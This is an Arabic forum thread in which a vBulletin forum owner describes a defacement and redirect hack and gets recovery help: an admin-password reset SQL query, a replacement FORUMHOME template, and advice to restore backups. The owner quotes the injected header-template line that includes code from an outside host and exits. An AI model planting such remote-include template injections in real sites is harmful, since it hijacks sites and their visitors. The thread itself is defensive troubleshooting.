 |
السلام عليكم
تم التهكير على منتداي
مرتين
https://www.lolat.com/vb
المره الاولى كانت على الصفحه الرئيسيه فقط
الان الاختراق تسبب في عدم القدره على الدخول للوحة التحكم
راسلة الاستظافه واخبروني بانه الاختراق
لم يتم على قاعده البيانات وباستطاعتي الترقيه
اذا رقية المنتدى هل سيزول الاختراق ؟؟؟
ارجو مساعدتي بالحلول يا اخوان
والمساعده في استعاده منتداي
أولا ًَ حل سريع لمشكلتك هو استرجاع باسورد الأدمن لكي تقوم بتعطيل الهاكت وإغلاق المنتدى لكي تتمكم من الترقية
نفذ الأستعلام التالي
يصبح الباسورد 0123654كود PHP:UPDATE `user` SET `password` = '96f175d91627afe77286e91a2b0fde08',`salt` = ';^1' WHERE `userid` = '1' LIMIT 1 ;
هذا طبعا ً راح يكون باسورد الأدمن صاحب العضوية رقم 1
بعد الانتهاء من هذا مر على هذه المشاركة
http://www.swalif.net/softs/swalif59/softs202320/
لكي يكون منتداك في يدك طوال الفترة
كنت متاكد بانك اول من سيقوم بالرد و المساعده
اشكرك
تم تنفيذ الاستعلام
ولكن نفس المشكله لا استطيع الدخول للتحكم .. تظهرلي صفحه الاختراق
----
عند الدخول على الاف تي بي
وجدة مجلد جديد للمنتدى ولكن باسم اخر
قمت بحذفه !!!
الدخول على قاعدة البيانات
FORUMHOME ثم البحث على
ثم أضغط على جدول تمبلت ثم أختر جدول FORUMHOME
ثم تعديل واستبدل الكود الموجود تحت كلمه FORUMHOME
بهذا الكود
----
كود PHP:
$stylevar[htmldoctype]
<html dir=\"$stylevar[textdirection]\" lang=\"$stylevar[languagecode]\">
<head>
<!-- no cache headers -->
<meta http-equiv=\"Pragma\" content=\"no-cache\" />
<meta http-equiv=\"Expires\" content=\"-1\" />
<meta http-equiv=\"Cache-Control\" content=\"no-cache\" />
<!-- end no cache headers -->
$headinclude
<title>" . construct_phrase("$vbphrase[x_powered_by_vbulletin]", "" . $GLOBALS['vbulletin']->options['bbtitle'] . "") . "</title>
</head>
<body>
$header
$navbar
<!-- main -->
<table class=\"tborder\" cellpadding=\"$stylevar[cellpadding]\" cellspacing=\"$stylevar[cellspacing]\" border=\"0\" width=\"100%\" align=\"center\">
<thead>
".(($show['guest']) ? ("
<!-- guest welcome message -->
<tr>
<td class=\"tcat\" colspan=\"".(($GLOBALS['vbulletin']->options['showmoderatorcolumn']) ? ("6") : ("5"))."\">" . construct_phrase("$vbphrase[welcome_to_the_x]", "" . $GLOBALS['vbulletin']->options['bbtitle'] . "") . "</td>
</tr>
<tr>
<td class=\"alt1\" colspan=\"".(($GLOBALS['vbulletin']->options['showmoderatorcolumn']) ? ("6") : ("5"))."\">
" . construct_phrase("$vbphrase[first_visit_message]", "faq.php" . $GLOBALS['vbulletin']->session->vars['sessionurl_q'] . "", "register.php" . $GLOBALS['vbulletin']->session->vars['sessionurl_q'] . "") . "
</td>
</tr>
<!-- / guest welcome message -->
") : (""))."
<tr align=\"center\">
<td class=\"thead\"> </td>
<td class=\"thead\" width=\"100%\" align=\"$stylevar[left]\">$vbphrase[forum]</td>
<td class=\"thead\" width=\"175\">$vbphrase[last_post]</td>
<td class=\"thead\">$vbphrase[threads]</td>
<td class=\"thead\">$vbphrase[posts]</td>
".(($GLOBALS['vbulletin']->options['showmoderatorcolumn']) ? ("
<td class=\"thead\">$vbphrase[moderator]</td>
") : (""))."
</tr>
</thead>
$forumbits
<tbody>
<tr>
<td class=\"tfoot\" align=\"center\" colspan=\"".(($GLOBALS['vbulletin']->options['showmoderatorcolumn']) ? ("6") : ("5"))."\"><div class=\"smallfont\">
<a href=\"forumdisplay.php?" . $GLOBALS['vbulletin']->session->vars['sessionurl'] . "do=markread\" rel=\"nofollow\">$vbphrase[mark_forums_read]</a>
".(($GLOBALS['vbulletin']->options['forumleaders']) ? ("
<a href=\"showgroups.php" . $GLOBALS['vbulletin']->session->vars['sessionurl_q'] . "\" rel=\"nofollow\">$vbphrase[view_forum_leaders]</a>") : (""))."
</div></td>
</tr>
</tbody>
</table>
$forumhome_markread_script
<!-- /main -->
<br />
<br />
<!-- what's going on box -->
<table class=\"tborder\" cellpadding=\"$stylevar[cellpadding]\" cellspacing=\"$stylevar[cellspacing]\" border=\"0\" width=\"100%\" align=\"center\">
<thead>
<tr>
<td class=\"tcat\" colspan=\"2\">$vbphrase[whats_going_on]</td>
</tr>
</thead>
".(($show['loggedinusers']) ? ("
<!-- logged-in users -->
<tbody>
<tr>
<td class=\"thead\" colspan=\"2\">
<a style=\"float:$stylevar[right]\" href=\"#top\" onclick=\"return toggle_collapse('forumhome_activeusers')\"><img id=\"collapseimg_forumhome_activeusers\" src=\"$stylevar[imgdir_button]/collapse_thead$vbcollapse[collapseimg_forumhome_activeusers].gif\" alt=\"\" border=\"0\" /></a>
<a href=\"online.php" . $GLOBALS['vbulletin']->session->vars['sessionurl_q'] . "\" rel=\"nofollow\">$vbphrase[currently_active_users]</a>: $totalonline (" . construct_phrase("$vbphrase[x_members_and_y_guests]", "$numberregistered", "$numberguest") . ")
</td>
</tr>
</tbody>
<tbody id=\"collapseobj_forumhome_activeusers\" style=\"$vbcollapse[collapseobj_forumhome_activeusers]\">
<tr>
<td class=\"alt2\"><a href=\"online.php" . $GLOBALS['vbulletin']->session->vars['sessionurl_q'] . "\" rel=\"nofollow\"><img src=\"$stylevar[imgdir_misc]/whos_online.gif\" alt=\"$vbphrase[view_whos_online]\" border=\"0\" /></a></td>
<td class=\"alt1\" width=\"100%\">
<div class=\"smallfont\">
<div style=\"white-space: nowrap\">" . construct_phrase("$vbphrase[most_users_ever_online_was_x_y_at_z]", "$recordusers", "$recorddate", "$recordtime") . "</div>
<div>$activeusers</div>
</div>
</td>
</tr>
</tbody>
<!-- end logged-in users -->
") : (""))."
<tbody>
<tr>
<td class=\"thead\" colspan=\"2\">
<a style=\"float:$stylevar[right]\" href=\"#top\" onclick=\"return toggle_collapse('forumhome_stats')\"><img id=\"collapseimg_forumhome_stats\" src=\"$stylevar[imgdir_button]/collapse_thead$vbcollapse[collapseimg_forumhome_stats].gif\" alt=\"\" border=\"0\" /></a>
" . construct_phrase("$vbphrase[x_statistics]", "" . $GLOBALS['vbulletin']->options['bbtitle'] . "") . "
</td>
</tr>
</tbody>
<tbody id=\"collapseobj_forumhome_stats\" style=\"$vbcollapse[collapseobj_forumhome_stats]\">
<tr>
<td class=\"alt2\"><img src=\"$stylevar[imgdir_misc]/stats.gif\" alt=\"" . construct_phrase("$vbphrase[x_statistics]", "" . $GLOBALS['vbulletin']->options['bbtitle'] . "") . "\" border=\"0\" /></td>
<td class=\"alt1\" width=\"100%\">
<div class=\"smallfont\">
<div>
$vbphrase[threads]: $totalthreads,
$vbphrase[posts]: $totalposts,
$vbphrase[members]: $numbermembers".(($show['activemembers']) ? (",
<span title=\"" . construct_phrase("$vbphrase[within_the_last_x_days]", "" . $GLOBALS['vbulletin']->options['activememberdays'] . "") . "\">$vbphrase[active_members]: $activemembers</span>
") : (""))."
</div>
<div>" . construct_phrase("$vbphrase[welcome_to_our_newest_member_x]", "member.php?" . $GLOBALS['vbulletin']->session->vars['sessionurl'] . "u=$newuserid", "$newusername") . "</div>
</div>
</td>
</tr>
</tbody>
".(($show['birthdays']) ? ("
<!-- today's birthdays -->
<tbody>
<tr>
<td class=\"thead\" colspan=\"2\">
<a style=\"float:$stylevar[right]\" href=\"#top\" onclick=\"return toggle_collapse('forumhome_birthdays')\"><img id=\"collapseimg_forumhome_birthdays\" src=\"$stylevar[imgdir_button]/collapse_thead$vbcollapse[collapseimg_forumhome_birthdays].gif\" alt=\"\" border=\"0\" /></a>
$vbphrase[todays_birthdays]
</td>
</tr>
</tbody>
<tbody id=\"collapseobj_forumhome_birthdays\" style=\"$vbcollapse[collapseobj_forumhome_birthdays]\">
<tr>
<td class=\"alt2\"><a href=\"calendar.php?" . $GLOBALS['vbulletin']->session->vars['sessionurl'] . "do=getday&day=$today&sb=1\"><img src=\"$stylevar[imgdir_misc]/birthday.gif\" alt=\"$vbphrase[view_birthdays]\" border=\"0\" /></a></td>
<td class=\"alt1\" width=\"100%\"><div class=\"smallfont\">$birthdays</div></td>
</tr>
</tbody>
<!-- end today's birthdays -->
") : (""))."
".(($show['upcomingevents']) ? ("
<tbody>
<tr>
<td class=\"thead\" colspan=\"2\">
<a style=\"float:$stylevar[right]\" href=\"#top\" onclick=\"return toggle_collapse('forumhome_events')\"><img id=\"collapseimg_forumhome_events\" src=\"$stylevar[imgdir_button]/collapse_thead$vbcollapse[collapseimg_forumhome_events].gif\" alt=\"\" border=\"0\" /></a>
".(($show['todaysevents']) ? ("$vbphrase[todays_events]") : ("" . construct_phrase("$vbphrase[upcoming_events_for_the_next_x_days]", "" . $GLOBALS['vbulletin']->options['showevents'] . "") . ""))."
</td>
</tr>
</tbody>
<tbody id=\"collapseobj_forumhome_events\" style=\"$vbcollapse[collapseobj_forumhome_events]\">
<tr>
<td class=\"alt2\"><a href=\"calendar.php" . $GLOBALS['vbulletin']->session->vars['sessionurl_q'] . "\"><img src=\"$stylevar[imgdir_misc]/calendar.gif\" alt=\"$vbphrase[calendar]\" border=\"0\" /></a></td>
<td class=\"alt1\" width=\"100%\"><div class=\"smallfont\">$upcomingevents</div></td>
</tr>
</tbody>
") : (""))."
</table>
<br />
<!-- end what's going on box -->
<!-- icons and login code -->
<table cellpadding=\"0\" cellspacing=\"2\" border=\"0\" width=\"100%\">
<tr valign=\"bottom\">
<td>
<table cellpadding=\"2\" cellspacing=\"0\" border=\"0\">
<tr>
<td><img src=\"$stylevar[imgdir_statusicon]/forum_new.gif\" alt=\"$vbphrase[contains_new_posts]\" border=\"0\" /></td>
<td class=\"smallfont\"> $vbphrase[forum_contains_new_posts]</td>
</tr>
<tr>
<td><img src=\"$stylevar[imgdir_statusicon]/forum_old.gif\" alt=\"$vbphrase[contains_no_new_posts]\" border=\"0\" /></td>
<td class=\"smallfont\"> $vbphrase[forum_contains_no_new_posts]</td>
</tr>
<tr>
<td><img src=\"$stylevar[imgdir_statusicon]/forum_old_lock.gif\" alt=\"$vbphrase[a_closed_forum]\" border=\"0\" /></td>
<td class=\"smallfont\"> $vbphrase[forum_is_closed_for_posting]</td>
</tr>
</table>
</td>
".((!$show['guest']) ? ("
<!-- member logout -->
<td align=\"$stylevar[right]\"><a href=\"login.php?" . $GLOBALS['vbulletin']->session->vars['sessionurl'] . "do=logout&logouthash=" . $GLOBALS['vbulletin']->userinfo['logouthash'] . "\" onclick=\"return log_out()\">" . construct_phrase("$vbphrase[log_out_x]", "" . $GLOBALS['vbulletin']->userinfo['username'] . "") . "</a></td>
<!-- end member logout -->
") : (""))."
</tr>
</table>
<!-- / icons and login code -->
$footer
</body>
</html>
سكـربٌت لـ حلول الويـبـ.ـ المتطوره
اشكرك اخي
قمت بعمل جميع الحلول التي وضعتها لي
ولم استطع استعاده المنتدى
تمت مراسله الاستظافه
لعمل استعاده للنسخه الاحتياطيه
و ساقوم باغلاق المنتدى
سؤال : هل توجد خطوره اذا تم اغلاق المنتدى بعد اعاده النسخه
الي ان اقوم بالترقيه و وفتح المنتدى مره اخرى ؟؟
لآ يوجد أي خطورة ولا أفضل استرجاع نسخة احتياطية يمكنك فك الأختراق ولكنني واثق .. بإنك لم تتبع كامل الخطوات ..
في آمان الله
دخلت على قواعد البيانات
ومن جدول التمبلت وجدت جدول الهيدر
موجود به كود الظاهر انه هو كود التحويل
وموضوع في الهيدر لجميع الاستايلات
هذا هو الكود
spacer_open
{${include('http://www.m1r2.com')}}{${exit()}}&
$_phpinclude_output
غيرت الرابط بموقعي واصبح التحويل للرئيسيه بنفس الرابط الي وضعته انا
بعد ان كان المنتدى يتحول للموقع
'http://www.m1r2.com'
شباب
من الي يعرف الحل للمشكله هذي
لوحه التحكم للمنتدى ما اقدر ادخل عليها لما اضع الباسورد نفس الشي يتم التحويل
ضوابط المشاركة
رد مع اقتباس
